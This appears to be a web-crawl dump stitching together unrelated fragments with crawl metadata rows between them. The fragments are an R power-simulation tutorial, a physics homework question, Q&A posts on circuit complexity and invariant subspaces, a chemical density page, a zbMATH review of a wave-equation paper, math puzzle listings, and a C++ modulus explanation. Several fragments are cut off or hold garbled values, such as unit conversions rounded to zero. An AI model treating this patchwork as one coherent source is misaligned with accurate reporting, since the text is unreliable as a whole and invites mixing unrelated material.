## 1 200 A 1 0.48 -0.14 10.4 7.88
## 2 200 B 0.48 1 0.63 21.0 8.37
## 3 200 C -0.14 0.63 1 30.6 9.28``````
#### 8.3.5.2 3D Plots
You can use the `plotly` library to make a 3D graph.
``library(plotly)``
``````##
## Attaching package: 'plotly'``````
``````## The following object is masked from 'package:MASS':
##
## select``````
``````## The following object is masked from 'package:ggplot2':
##
## last_plot``````
``````## The following object is masked from 'package:stats':
##
## filter``````
``````## The following object is masked from 'package:graphics':
##
## layout``````
``````marker_style = list(
color = "#ff0000",
line = list(
color = "#444",
width = 1
),
opacity = 0.5,
size = 5
)
bvn3 %>%
as_tibble() %>%
plot_ly(x = ~A, y = ~B, z = ~C, marker = marker_style) %>%
add_markers()``````
## 8.4 Example
This example uses the Growth Chart Data Tables from the US CDC. The data consist of height in centimeters for the z-scores of –2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, and 2 by sex (1=male; 2=female) and half-month of age (from 24.0 to 240.5 months).
### 8.4.1 Load & wrangle
We have to do a little data wrangling first. Have a look at the data after you import it and relabel `Sex` to `male` and `female` instead of `1` and `2`. Also convert `Agemos` (age in months) to years. Relabel the column `0` as `mean` and calculate a new column named `sd` as the difference between columns `1` and `0`.
``orig_height_age <- read_csv("https://www.cdc.gov/growthcharts/data/zscore/zstatage.csv") ``
``````## Parsed with column specification:
## cols(
## Sex = col_character(),
## Agemos = col_character(),
## `-2` = col_double(),
## `-1.5` = col_double(),
## `-1` = col_double(),
## `-0.5` = col_double(),
## `0` = col_double(),
## `0.5` = col_double(),
## `1` = col_double(),
## `1.5` = col_double(),
## `2` = col_double()
## )``````
``````height_age <- orig_height_age %>%
filter(Sex %in% c(1,2)) %>%
mutate(
sex = recode(Sex, "1" = "male", "2" = "female"),
age = as.numeric(Agemos)/12,
sd = `1` - `0`
) %>%
dplyr::select(sex, age, mean = `0`, sd)``````
If you run the code above without putting `dplyr::` before the `select()` function, you might get an error message. This is because the `MASS` package also has a function called `select()` and, since we loaded `MASS` after `tidyverse`, the `MASS` function becomes the default. When you loaded `MASS`, you should have seen a warning like "The following object is masked from ‘package:dplyr’: select". You can use functions with the same name from different packages by specifying the package before the function name, separated by two colons.
### 8.4.2 Plot
Plot your new data frame to see how mean height changes with age for boys and girls.
``````ggplot(height_age, aes(age, mean, color = sex)) +
geom_smooth(aes(ymin = mean - sd, ymax = mean + sd), stat="identity")``````
### 8.4.3 Get means and SDs
Create new variables for the means and SDs for 20-year-old men and women.
``````height_sub <- height_age %>% filter(age == 20)
m_mean <- height_sub %>% filter(sex == "male") %>% pull(mean)
m_sd <- height_sub %>% filter(sex == "male") %>% pull(sd)
f_mean <- height_sub %>% filter(sex == "female") %>% pull(mean)
f_sd <- height_sub %>% filter(sex == "female") %>% pull(sd)
height_sub``````
``````## # A tibble: 2 x 4
## sex age mean sd
## <chr> <dbl> <dbl> <dbl>
## 1 male 20 177. 7.12
## 2 female 20 163. 6.46``````
### 8.4.4 Simulate a population
Simulate 50 random male heights and 50 random female heights using the `rnorm()` function and the means and SDs above. Plot the data.
``````sim_height <- tibble(
male = rnorm(50, m_mean, m_sd),
female = rnorm(50, f_mean, f_sd)
) %>%
gather("sex", "height", male:female)
ggplot(sim_height) +
geom_density(aes(height, fill = sex), alpha = 0.5) +
xlim(125, 225)``````
Run the simulation above several times, noting how the density plot changes. Try changing the age you're simulating.
### 8.4.5 Analyse simulated data
Use the `sim_t_ind(n, m1, sd1, m2, sd2)` function we created above to generate one simulation with a sample size of 50 in each group using the means and SDs of male and female 14-year-olds.
``````height_sub <- height_age %>% filter(age == 14)
m_mean <- height_sub %>% filter(sex == "male") %>% pull(mean)
m_sd <- height_sub %>% filter(sex == "male") %>% pull(sd)
f_mean <- height_sub %>% filter(sex == "female") %>% pull(mean)
f_sd <- height_sub %>% filter(sex == "female") %>% pull(sd)
sim_t_ind(50, m_mean, m_sd, f_mean, f_sd)``````
``## [1] 0.009012868``
### 8.4.6 Replicate simulation
Now replicate this 1e4 times using the `replicate()` function. This function will save the returned p-values in a list (`my_reps`). We can then check what proportion of those p-values are less than our alpha value. This is the power of our test.
``````my_reps <- replicate(1e4, sim_t_ind(50, m_mean, m_sd, f_mean, f_sd))
alpha <- 0.05
power <- mean(my_reps < alpha)
power``````
``## [1] 0.657``
### 8.4.7 One-tailed prediction
This design has about 65% power to detect the sex difference in height (with a 2-tailed test). Modify the `sim_t_ind` function for a 1-tailed prediction.
You could just set `alternative` equal to "greater" in the function, but it might be better to add the `alternative` argument to your function (giving it the same default value as `t.test`) and change the value of `alternative` in the function to `alternative`.
``````sim_t_ind <- function(n, m1, sd1, m2, sd2, alternative = "two.sided") {
v1 <- rnorm(n, m1, sd1)
v2 <- rnorm(n, m2, sd2)
t_ind <- t.test(v1, v2, paired = FALSE, alternative = alternative)
return(t_ind\$p.value)
}
alpha <- 0.05
my_reps <- replicate(1e4, sim_t_ind(50, m_mean, m_sd, f_mean, f_sd, "greater"))
mean(my_reps < alpha)``````
``## [1] 0.758``
### 8.4.8 Range of sample sizes
What if we want to find out what sample size will give us 80% power? We can try trial and error. We know the number should be slightly larger than 50. But you can search more systematically by repeating your power calculation for a range of sample sizes.
This might seem like overkill for a t-test, where you can easily look up sample size calculators online, but it is a valuable skill to learn for when your analyses become more complicated.
Start with a relatively low number of replications and/or more spread-out samples to estimate where you should be looking more specifically. Then you can repeat with a narrower/denser range of sample sizes and more iterations.
``````alpha <- 0.05
power_table <- tibble(
n = seq(20, 100, by = 5)
) %>%
mutate(power = map_dbl(n, function(n) {
ps <- replicate(1e3, sim_t_ind(n, m_mean, m_sd, f_mean, f_sd, "greater"))
mean(ps < alpha)
}))
ggplot(power_table, aes(n, power)) +
geom_smooth() +
geom_point() +
geom_hline(yintercept = 0.8)``````
``## `geom_smooth()` using method = 'loess' and formula 'y ~ x'``
Now we can narrow down our search to values around 55 (plus or minus 5) and increase the number of replications from 1e3 to 1e4.
``````power_table <- tibble(
n = seq(50, 60)
) %>%
mutate(power = map_dbl(n, function(n) {
ps <- replicate(1e3, sim_t_ind(n, m_mean, m_sd, f_mean, f_sd, "greater"))
mean(ps < alpha)
}))
##ggplot(power_table, aes(n, power)) +
## geom_smooth() +
## geom_point() +
## geom_hline(yintercept = 0.8) +
## scale_x_continuous(breaks = sample_size)``````
## 8.5 Exercises
Download the exercises. See the answers only after you've attempted all the questions.
### E References
Lakens, Daniël, and Aaron R Caldwell. 2019. “Simulation-Based Power-Analysis for Factorial Anova Designs,” May. PsyArXiv. doi:10.31234/osf.io/baxsf.
DeBruine, Lisa M, and Dale J Barr. 2019. “Understanding Mixed Effects Models Through Data Simulation,” June. PsyArXiv. doi:10.31234/osf.io/xp5cy.
Lakens, Daniël, Anne M. Scheel, and Peder M. Isager. 2018. “Equivalence Testing for Psychological Research: A Tutorial.” Advances in Methods and Practices in Psychological Science 1 (2): 259–69. doi:10.1177/2515245918770963.
Morey, Richard D., Rink Hoekstra, Jeffrey N. Rouder, Michael D. Lee, and Eric-Jan Wagenmakers. 2016. “The Fallacy of Placing Confidence in Confidence Intervals.” Psychonomic Bulletin & Review 23 (1): 103–23. doi:10.3758/s13423-015-0947-8. | 8,889 | 29,596 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.34375 | 4 | CC-MAIN-2020-24 | latest | en | 0.815006 |
https://documen.tv/question/20-points-which-of-the-following-describes-newton-s-third-law-of-motion-a-force-is-equal-to-mass-15999972-84/ | 1,638,405,767,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964361064.58/warc/CC-MAIN-20211201234046-20211202024046-00347.warc.gz | 281,873,625 | 16,097 | ## 20 POINTS which of the following describes newton’s third law of motion? A) Force is equal to mass of an object multiplied by it
Question
20 POINTS
which of the following describes newton’s third law of motion?
A) Force is equal to mass of an object multiplied by its acceleration (F=m*a)
B) An object at rest stays at rest unless acted upon by an outside force
C) For every action, there is an equal and opposite reaction
in progress 0
3 months 2021-07-28T14:55:19+00:00 2 Answers 4 views 0 | 134 | 497 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2021-49 | longest | en | 0.921889 |
https://cs.stackexchange.com/questions/10170/how-to-relate-circuit-size-to-the-running-time-of-turing-machine | 1,701,280,486,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100135.11/warc/CC-MAIN-20231129173017-20231129203017-00257.warc.gz | 231,792,381 | 41,413 | # How to relate circuit size to the running time of Turing machine
Define, $M_{[x,c]}$ as the deterministic Turing machine that operates as follows on an input $y$. The machine treats $x$ as a deterministic program, and simulates $x$ on input $y$. At the same time the machine runs a counter that stops its execution after steps $|y|^c$. If the machine accepts before the counter stops, then it accepts; otherwise, it rejects.
Let $f(i,c)$ be the smallest natural number so that $M_{[i,c]}$makes a mistake on the input $y$. Then, if $P \neq NP$ is true, the function $f(i,c)$ is always defined.
Theorem: Suppose that there are infinite number of $i$ for which there exists a $c$ so that $$f(i,c) > 2^{2^{|i|+c}}$$ Then, for infinitely many $n$, SAT has circuit size $n^{O(\log n)}$.
Proof: Let $i>1$ and $c$ be so that $$f(i,c) > 2^{2^{|i|+c}}$$ Define $n = 2^{|i|+c-1}$. Note, that $c$ is at most $\log n$. Then, $M_{[i,c]}$ on all $y$ of length $n$ is correct, since $y \leq 2^n = 2^{2^{|i|+c-1}} < f(i,c)$. The size of the circuit that simulates this Turing machine on inputs of length $n$ is polynomial in $|i|$, $n$, and the running time of the machine. The machine, by definition, runs in time $|y|^c \leq n^c \leq n^{\log n}$
I am not getting this part. Can anyone explain this (to specify, “The size of the circuit that simulates this Turing machine on inputs of length $n$ is polynomial in $|i|$, $n$, and the running time of the machine” in the quote)? (So the question is how can we relate the running time of Turing machine to the size of the circuit.)
The idea is that you can compute configuration $c_i$ from configuration $c_{i-1}$ by examining the contents of 3 adjacent cells, and if the head of the machine is there, update them accordingly. It's rather technical to write formally, but it's a generally simple proof (See "Computational complexity" by Arora and Barak for a proof). | 555 | 1,905 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.609375 | 4 | CC-MAIN-2023-50 | longest | en | 0.875905 |
https://www.aqua-calc.com/calculate/volume-to-weight/substance/disodium-blank-carbonate-coma-and-blank-light-blank--op-bulk-cp- | 1,726,345,862,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651580.74/warc/CC-MAIN-20240914193334-20240914223334-00709.warc.gz | 604,746,971 | 12,945 | # Weight of Disodium carbonate, light (bulk)
## disodium carbonate, light (bulk): convert volume to weight
### Weight of 1 cubic centimeter of Disodium carbonate, light (bulk)
carat 2.95 ounce 0.02 gram 0.59 pound 0 kilogram 0 tonne 5.9 × 10-7 milligram 590
#### How many moles in 1 cubic centimeter of Disodium carbonate, light (bulk)?
There are 5.57 millimoles in 1 cubic centimeter of Disodium carbonate, light (bulk)
### The entered volume of Disodium carbonate, light (bulk) in various units of volume
centimeter³ 1 milliliter 1 foot³ 3.53 × 10-5 oil barrel 6.29 × 10-6 Imperial gallon 0 US cup 0 inch³ 0.06 US fluid ounce 0.03 liter 0 US gallon 0 meter³ 1 × 10-6 US pint 0 metric cup 0 US quart 0 metric tablespoon 0.07 US tablespoon 0.07 metric teaspoon 0.2 US teaspoon 0.2
• For instance, calculate how many ounces, pounds, milligrams, grams, kilograms or tonnes of a selected substance in a liter, gallon, fluid ounce, cubic centimeter or in a cubic inch. This page computes weight of the substance per given volume, and answers the question: How much the substance weighs per volume.
#### Foods, Nutrients and Calories
DAIRY DRINK, UPC: 036632014382 contain(s) 72 calories per 100 grams (≈3.53 ounces) [ price ]
206 foods that contain Biotin. List of these foods starting with the highest contents of Biotin and the lowest contents of Biotin
#### Gravels, Substances and Oils
CaribSea, Freshwater, Super Naturals, Moonlight Sand weighs 1 521.75 kg/m³ (94.99975 lb/ft³) with specific gravity of 1.52175 relative to pure water. Calculate how much of this gravel is required to attain a specific depth in a cylindricalquarter cylindrical or in a rectangular shaped aquarium or pond [ weight to volume | volume to weight | price ]
Sodium oxychloride, 5% aqueous solution [NaClO, NaOCl or ClNaO] weighs 1 093 kg/m³ (68.23376 lb/ft³) [ weight to volume | volume to weight | price | mole to volume and weight | mass and molar concentration | density ]
Volume to weightweight to volume and cost conversions for Refrigerant R-414B, liquid (R414B) with temperature in the range of -40°C (-40°F) to 71.12°C (160.016°F)
#### Weights and Measurements
A megahertz (MHz) is a SI-multiple (see prefix mega) of the frequency unit hertz and equal to 1,000,000 hertz.
The units of data measurement were introduced to manage and operate digital information.
oz t/yd² to lb/cm² conversion table, oz t/yd² to lb/cm² unit converter or convert between all units of surface density measurement.
#### Calculators
Volume to weight and weight to volume conversions using density | 716 | 2,591 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.921875 | 3 | CC-MAIN-2024-38 | latest | en | 0.656705 |
https://zbmath.org/?q=an:0589.35076 | 1,610,897,866,000,000,000 | text/html | crawl-data/CC-MAIN-2021-04/segments/1610703513062.16/warc/CC-MAIN-20210117143625-20210117173625-00768.warc.gz | 1,105,113,443 | 10,727 | zbMATH — the first resource for mathematics
Almost-periodic forcing for a wave equation with a nonlinear local damping term. (English) Zbl 0589.35076
Summary: Let $$\Omega \subset {\mathbb{R}}^ n$$ be a bounded open domain and $$\Gamma =\partial \Omega$$. If $$\beta$$ is a maximal monotone graph in $${\mathbb{R}}\times {\mathbb{R}}$$ with $$0\in \beta (0)$$, $$f: {\mathbb{R}}\times \Omega \to {\mathbb{R}}$$ is measurable with $$t\to f(t,.)$$ $$S^ 2$$-almost periodic as a function $${\mathbb{R}}\to L^ 2(\Omega)$$, we consider the nonlinear hyperbolic equation $(1)\quad \partial^ 2u/\partial t^ 2-\Delta u+\beta (\partial u/\partial t)\ni f(t,x)\quad on\quad {\mathbb{R}}^+\times \Omega,\quad u(t,x)=0,\quad on\quad {\mathbb{R}}^+\times \Gamma.$ We show that: (i) If $$\beta$$ is strictly increasing and (1) has a solution $$\omega$$ on $${\mathbb{R}}$$ with [$$\omega$$,$$\partial \omega /\partial t]$$ almost periodic: $${\mathbb{R}}\to H^ 1_ 0(\Omega)\times L^ 2(\Omega)$$, for any solution of (1) there exists $$\xi (x)\in H^ 1_ 0(\Omega)$$ with u(t,.)-$$\omega$$ (t,.)$$\rightharpoonup \xi$$ in $$H^ 1_ 0(\Omega)$$ as $$t\to +\infty;$$
(ii) if $$\beta$$ is single valued and everywhere defined, the existence of $$\omega$$ as above implies that, for every solution of (1), there exists $$\zeta$$ (t,x) with $$\partial^ 2\zeta /\partial t^ 2-\Delta \zeta =0$$ in $${\mathbb{R}}\times \Omega$$ and $$u(t,.)-\omega (t,.)-\xi (t,.)\rightharpoonup 0$$ in $$H^ 1_ 0(\Omega)$$ as $$t\to +\infty;$$
(iii) if $$\beta^{-1}$$ is uniformly continuous and $$\beta$$ satisfies some growth assumption (depending on N), for every f as above, there exists $$\omega$$ solution of (1) on $${\mathbb{R}}$$ with [$$\omega$$,$$\partial \omega /\partial t]$$ almost periodic: $${\mathbb{R}}\to H^ 1_ 0(\Omega)\times L^ 2(\Omega)$$.
MSC:
35L70 Second-order nonlinear hyperbolic equations 35B15 Almost and pseudo-almost periodic solutions to PDEs 35B65 Smoothness and regularity of solutions to PDEs
Full Text:
References:
[1] DOI: 10.1090/S0002-9904-1966-11544-6 · Zbl 0138.08202 · doi:10.1090/S0002-9904-1966-11544-6 [2] DOI: 10.1016/0022-1236(75)90027-0 · Zbl 0319.47041 · doi:10.1016/0022-1236(75)90027-0 [3] Prodi, Rend. Sem. Mat. Univ. Padova 33 (1966) [4] DOI: 10.1007/BF02411872 · Zbl 0072.10101 · doi:10.1007/BF02411872 [5] DOI: 10.1090/S0002-9904-1967-11761-0 · Zbl 0179.19902 · doi:10.1090/S0002-9904-1967-11761-0 [6] Lions, Bull. Soc. Math. France 93 pp 43– (1965) · Zbl 0132.10501 · doi:10.24033/bsmf.1616 [7] DOI: 10.1016/0022-0396(82)90074-2 · Zbl 0523.34047 · doi:10.1016/0022-0396(82)90074-2 [8] Brezis, C. R. Acad. Sci. Paris Sér. A 264 pp 928– (1967) [9] Brezis, J. Math. Pures Appl. 51 pp 1– (1972) [10] Brezis, Opérateurs maximaux monotones et semi-groupes de contraction dans les espaces de Hilbert (1973) [11] DOI: 10.1016/0022-0396(80)90017-0 · Zbl 0413.35011 · doi:10.1016/0022-0396(80)90017-0 [12] Biroli, Ricerche Mat. 22 pp 190– (1973) [13] DOI: 10.1007/BF02412015 · Zbl 0281.35006 · doi:10.1007/BF02412015 [14] DOI: 10.5802/aif.421 · Zbl 0226.47034 · doi:10.5802/aif.421 [15] Amerio, Rend. Accad. Naz. Lincei 56 pp 1– (1969) [16] Amerio, Rend. Accad. Naz. Lincei 44 (1968) [17] Haraux, Lecture Notes in Mathematics 841 (1981) [18] Haraux, Proc. Roy. Soc. Edinburgh Sect. A 84 pp 213– (1979) · Zbl 0429.35013 · doi:10.1017/S0308210500017091 [19] Haraux, Opérateurs maximaux monotones et oscillations forcées non lineaires (1978) [20] Fink, Lecture Notes in Mathematics 377 (1974) [21] Dafermos, J. 12 pp 97– (1973) [22] Dafermos, Proceedings of a University of Florida International Symposium pp 43– (1977) [23] DOI: 10.1007/BF01762184 · Zbl 0303.54016 · doi:10.1007/BF01762184 [24] Lions, Quelques méthodes de résolution des problèmes aux limites non linéaires (1969) [25] DOI: 10.1016/0022-0396(71)90078-7 · doi:10.1016/0022-0396(71)90078-7 [26] Prouse, Rend. Accad. Naz. Lincei pp 38– (1965)
This reference list is based on information provided by the publisher or from digital mathematics libraries. Its items are heuristically matched to zbMATH identifiers and may contain data conversion errors. It attempts to reflect the references listed in the original paper as accurately as possible without claiming the completeness or perfect precision of the matching. | 1,649 | 4,283 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.703125 | 3 | CC-MAIN-2021-04 | latest | en | 0.684264 |
https://math.stackexchange.com/questions/898717/given-the-minimal-polynomial-find-the-largest-invariant-subspace | 1,586,097,591,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585371604800.52/warc/CC-MAIN-20200405115129-20200405145629-00483.warc.gz | 569,337,813 | 31,590 | # Given the minimal polynomial, find the largest invariant subspace
Let the linear transformation T on the vector space $V$ over $\mathbb{Q}$ have minimal polynomial $(x^{7} - x^{3})$.
a) What is the largest invariant subspace W of V for which $T (W) = W$?
b) Find a non-constant polynomial $f(x) \in \mathbb{Q} [x]$ for which $f(T)w = w$, for all $w \in W$.
For part (a): If $W$ is any invariant subspace of T, then as an application of Division Algorithm the minimal polynomial of $T|_{W}$ divides $m_{T}$ and using this helps one to show the existence of a polynomial $p(x)$ over $\mathbb{Q}$ such that $p(x)|m_{T}(x) = (x^{7} - x^{3})$ and $W = \ker (p(T))$. Since $p(T)W = 0$, the requirement that $TW = W$ is met when $W = \ker (T - I)$. I guess what is meant by largest refers to dimension. Here, I hope I have found an invariant subspace that works, but is it the largest? I would appreciate a hint.
For part b): The polynomial $f(x) = x - 1$ satisfies the requirement.
Your question (a) is a bit strangely stated, but it actually asks for the largest invariant subspace for which its operator given by restricting $T$ to it is surjective (since $T(W)\subseteq W$ must hold by definition). Given that the minimal polynomial is $X^7-X^3=(X^4-1)X^3$ one can see that $T$ itself (acting on all of$~V$) is not surjective: the image $T^3(V)$ is contained in the kernel of $\def\I{\mathbf I}T^4-\I$, which is not the whole space (because $T^4-\I\neq0$), but if would have to be if $T$ were surjective.
By a small variation of that argument, any (invariant) subspace $W$ such that $T(W)=W$ must be contained in $\ker(T^4-\I)$, namely $\{0\}=(T^4-\I)\circ(T^3(W))=(T^4-\mathbf I)(W)$. But the subspace $W_0=\ker(T^4-\I)$ itself is $T$-stable, and $T|_{W_0}$ is invertible since its $4$-th power is the identity of $W_0$, so $W_0=\ker(T^4-\I)$ must be the answer to the first question.
The second question is quite independent. Your answer $X-1$ is wrong, since if it acted like $\I$, that is if one had $T-\I=\I$, this would mean $T=2\I$ which is incompatible with the given minimal polynomial. Of course the polynomial $1$ does act as $\I$, but a non constant polynomial is asked for. We must add to $1$ some nonzero polynomial that evaluated in $T$ does act as zero. Clearly the given minimal polynomial is such a polynomial; therefore $X^7-X^3+1$ answers the second question (or you could add any nonzero multiple of the minimal polynomial to $1$ for alternative answers). | 749 | 2,481 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.703125 | 4 | CC-MAIN-2020-16 | latest | en | 0.892008 |
https://nrich.maths.org/public/leg.php?code=53&cl=3&cldcmpid=642 | 1,521,505,332,000,000,000 | text/html | crawl-data/CC-MAIN-2018-13/segments/1521257647244.44/warc/CC-MAIN-20180319234034-20180320014034-00129.warc.gz | 653,769,695 | 8,271 | # Search by Topic
#### Resources tagged with Simultaneous equations similar to Symmetricality:
Filter by: Content type:
Stage:
Challenge level:
### There are 36 results
Broad Topics > Algebra > Simultaneous equations
### Symmetricality
##### Stage: 3 Challenge Level:
Add up all 5 equations given below. What do you notice? Solve the system and find the values of a, b, c , d and e. b + c + d + e = 4 a + c + d + e = 5 a + b + d + e = 1 a + b + c + e = 2 a + b. . . .
### All Square
##### Stage: 3 Challenge Level:
Solve the system of equations xy = 1 yz = 4 zx = 9
### Letter Land
##### Stage: 3 Challenge Level:
If: A + C = A; F x D = F; B - G = G; A + H = E; B / H = G; E - G = F and A-H represent the numbers from 0 to 7 Find the values of A, B, C, D, E, F and H.
### Children at Large
##### Stage: 3 Challenge Level:
There are four children in a family, two girls, Kate and Sally, and two boys, Tom and Ben. How old are the children?
### Sweet Shop
##### Stage: 3 Challenge Level:
Five children went into the sweet shop after school. There were choco bars, chews, mini eggs and lollypops, all costing under 50p. Suggest a way in which Nathan could spend all his money.
### Not a Polite Question
##### Stage: 3 Challenge Level:
When asked how old she was, the teacher replied: My age in years is not prime but odd and when reversed and added to my age you have a perfect square...
### Coffee
##### Stage: 4 Challenge Level:
To make 11 kilograms of this blend of coffee costs £15 per kilogram. The blend uses more Brazilian, Kenyan and Mocha coffee... How many kilograms of each type of coffee are used?
### Rudolff's Problem
##### Stage: 4 Challenge Level:
A group of 20 people pay a total of £20 to see an exhibition. The admission price is £3 for men, £2 for women and 50p for children. How many men, women and children are there in the group?
### Building Tetrahedra
##### Stage: 4 Challenge Level:
Can you make a tetrahedron whose faces all have the same perimeter?
### Whole Numbers Only
##### Stage: 3 Challenge Level:
Can you work out how many of each kind of pencil this student bought?
### Pareq Calc
##### Stage: 4 Challenge Level:
Triangle ABC is an equilateral triangle with three parallel lines going through the vertices. Calculate the length of the sides of the triangle if the perpendicular distances between the parallel. . . .
### All-variables Sudoku
##### Stage: 3, 4 and 5 Challenge Level:
The challenge is to find the values of the variables if you are to solve this Sudoku.
##### Stage: 3 Challenge Level:
You need to find the values of the stars before you can apply normal Sudoku rules.
### Colour Islands Sudoku
##### Stage: 3 Challenge Level:
An extra constraint means this Sudoku requires you to think in diagonals as well as horizontal and vertical lines and boxes of nine.
### Overturning Fracsum
##### Stage: 4 Challenge Level:
Solve the system of equations to find the values of x, y and z: xy/(x+y)=1/2, yz/(y+z)=1/3, zx/(z+x)=1/7
### Matchless
##### Stage: 4 Challenge Level:
There is a particular value of x, and a value of y to go with it, which make all five expressions equal in value, can you find that x, y pair ?
### CD Heaven
##### Stage: 4 Challenge Level:
All CD Heaven stores were given the same number of a popular CD to sell for £24. In their two week sale each store reduces the price of the CD by 25% ... How many CDs did the store sell at. . . .
### Leonardo's Problem
##### Stage: 4 and 5 Challenge Level:
A, B & C own a half, a third and a sixth of a coin collection. Each grab some coins, return some, then share equally what they had put back, finishing with their own share. How rich are they?
### What's it Worth?
##### Stage: 3 and 4 Challenge Level:
There are lots of different methods to find out what the shapes are worth - how many can you find?
##### Stage: 3 and 4 Challenge Level:
This is a variation of sudoku which contains a set of special clue-numbers. Each set of 4 small digits stands for the numbers in the four cells of the grid adjacent to this set.
##### Stage: 3 and 4 Challenge Level:
Four numbers on an intersection that need to be placed in the surrounding cells. That is all you need to know to solve this sudoku.
### Always Two
##### Stage: 4 and 5 Challenge Level:
Find all the triples of numbers a, b, c such that each one of them plus the product of the other two is always 2.
### Which Is Bigger?
##### Stage: 4 Challenge Level:
Which is bigger, n+10 or 2n+3? Can you find a good method of answering similar questions?
### Multiplication Arithmagons
##### Stage: 4 Challenge Level:
Can you find the values at the vertices when you know the values on the edges of these multiplication arithmagons?
### Which Is Cheaper?
##### Stage: 4 Challenge Level:
When I park my car in Mathstown, there are two car parks to choose from. Which car park should I use?
### LCM Sudoku II
##### Stage: 3, 4 and 5 Challenge Level:
You are given the Lowest Common Multiples of sets of digits. Find the digits and then solve the Sudoku.
### Simultaneous Equations Sudoku
##### Stage: 3 and 4 Challenge Level:
Solve the equations to identify the clue numbers in this Sudoku problem.
### Surds
##### Stage: 4 Challenge Level:
Find the exact values of x, y and a satisfying the following system of equations: 1/(a+1) = a - 1 x + y = 2a x = ay
### Intersections
##### Stage: 4 and 5 Challenge Level:
Change one equation in this pair of simultaneous equations very slightly and there is a big change in the solution. Why?
### Polycircles
##### Stage: 4 Challenge Level:
Show that for any triangle it is always possible to construct 3 touching circles with centres at the vertices. Is it possible to construct touching circles centred at the vertices of any polygon?
### Arithmagons
##### Stage: 4 Challenge Level:
Can you find the values at the vertices when you know the values on the edges?
### Negatively Triangular
##### Stage: 4 Challenge Level:
How many intersections do you expect from four straight lines ? Which three lines enclose a triangle with negative co-ordinates for every point ?
### Intersection Sudoku 1
##### Stage: 3 and 4 Challenge Level:
A Sudoku with a twist.
### Intersection Sudoku 2
##### Stage: 3 and 4 Challenge Level:
A Sudoku with a twist. | 1,581 | 6,335 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.96875 | 4 | CC-MAIN-2018-13 | latest | en | 0.893263 |
https://w3toppers.com/how-modulus-operation-works-in-c-closed/ | 1,680,118,947,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296949025.18/warc/CC-MAIN-20230329182643-20230329212643-00562.warc.gz | 687,424,287 | 34,992 | # How modulus operation works in C++? [closed]
The answer is correct. ‘%’ mean “reminder”. The % operator is remainder operator. The `A % B` operator actually answer the question “If I divided A by B using integer arithmetic, what would the remainder be?”
dividend = quotient * divisor + remainder
``````0 % 4 = 0
1 % 4 = 1
2 % 4 = 2
3 % 4 = 3
4 % 4 = 0
5 % 4 = 1
.....
etc..
``````
For negative number…
`````` 1 % (-4) = 1
(-2) % 4 = -2
(-3) % (-4) = -3
``````
With a remainder operator, the sign of the result is the same as the sign of the dividend
